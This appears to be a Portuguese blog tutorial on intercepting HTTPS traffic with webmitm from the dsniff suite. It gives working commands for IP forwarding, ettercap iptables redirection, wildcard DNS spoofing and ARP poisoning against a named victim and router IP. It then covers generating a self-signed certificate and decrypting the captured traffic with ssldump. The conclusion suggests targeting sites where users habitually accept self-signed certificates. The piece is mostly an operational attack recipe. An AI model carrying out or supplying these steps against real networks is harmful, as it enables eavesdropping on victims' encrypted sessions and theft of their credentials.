**O webmitm é uma ferramenta semelhante ao SSLStrip do post anterior, excepto que em vez de passar a ligação do utilizador a uma ligação não encriptada, cria um certificado auto-assinado e envia ao utilizador, deixando assim a ligação encriptada mas com uma encriptação da qual temos a chave.**
Para o webmitm funcionar correctamente também são necessários completar alguns passos tal como com o SSLStrip, no entanto embora alguns dos passos sejam iguais irei alcança-los de forma diferente para dar a conhecer mais do que um metodo de os atingir.
Redireccionar Trafego
Tal como foi dito anteriormente é necessário redireccionar o trafego que se vai dirigir a nós, para que a vitima não fique sem acesso á internet. Para activar o reencaminhamento dos pacotes vamos ter que executar o seguinte comando na consola.
$ echo 1 > /proc/sys/net/ipv4/ip_forward
E como desta vez iremos utilizar o ettercap para modificar as tabelas de arp vamos também ter de remover os ‘#’ das seguintes linhas no /etc/etter.conf.
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Alterar registos DNS
Para alterar os registos DNS vou utilizar também o ettercap para isso preciso de comentar/apagar as linhas existentes no ficheiro /usr/share/ettercap/etter.dns e adicionar a seguinte.
* A 192.168.0.150
Partindo do principio que o ip 192.168.0.150 é o meu.
Gerar o certificado auto-assinado
Para gerar o certificado temos só que correr o webmitm, depois da primeira vez se houver necessidade de criar outro certificado basta apagar o existente na pasta actual.
$ webmitm -d
Generating RSA private key, 1024 bit long modulus
.++++++
........................................++++++
e is 65537 (0x10001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:PT
State or Province Name (full name) [Some-State]:Aveiro
Locality Name (eg, city) []:Costa Nova
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Segurança e SSL, Lda
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:www.appweb.com
Email Address []:adm@appweb.com
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:aleatorio
An optional company name []:
Signature ok
subject=/C=PT/ST=Aveiro/L=Costa Nova/O=Seguran\xC3\xA7a e SSL, Lda/CN=www.appweb.com/emailAddress=adm@appweb.com
Getting Private key
Depois de gerar o certificado o webmitm fica a correr á espera de ligações.( o parametro -d é para debug)
Iniciar o Ataque
Com as configurações todas feitas falta só colocar tudo em acção para isso vamos usar o ettercap…
$ ettercap -T -q -i eth0 -P dns_spoof -M ARP /192.168.0.100/ /192.168.0.1/
Sendo que o ip da vitima é 192.168.0.100 e o router 192.168.0.1.
Capturar/Decifrar Trafego
A parte de captura do trafego pode ser alcançada com o Wireshark, tcpdump ou outra ferramenta que exporte os resultados em formato pcap.
No final do ataque para decifrar o trafego SSL cifrado com o webmitm pode ser utilizado o ssldump.
$ ssldump -A -r captura.pcap -d -k webmitm.crt > resultados
Para navegar melhor através dos resultados recomendo o uso do grep.
Conclusão
Este tipo de ataques gera um aviso de ligação insegura no browser sendo que a melhor altura para o implementar seria numa aplicação/site que não tivesse os certificados actualizados ou utilize certificados auto-assinados. Nesse cenário os utilizadores mesmo que saibam o que estão a fazer, podem aceitar o certificado sem o verificar já que poderá ser uma operação rotineira. O webmitm faz parte do pacote dsniff.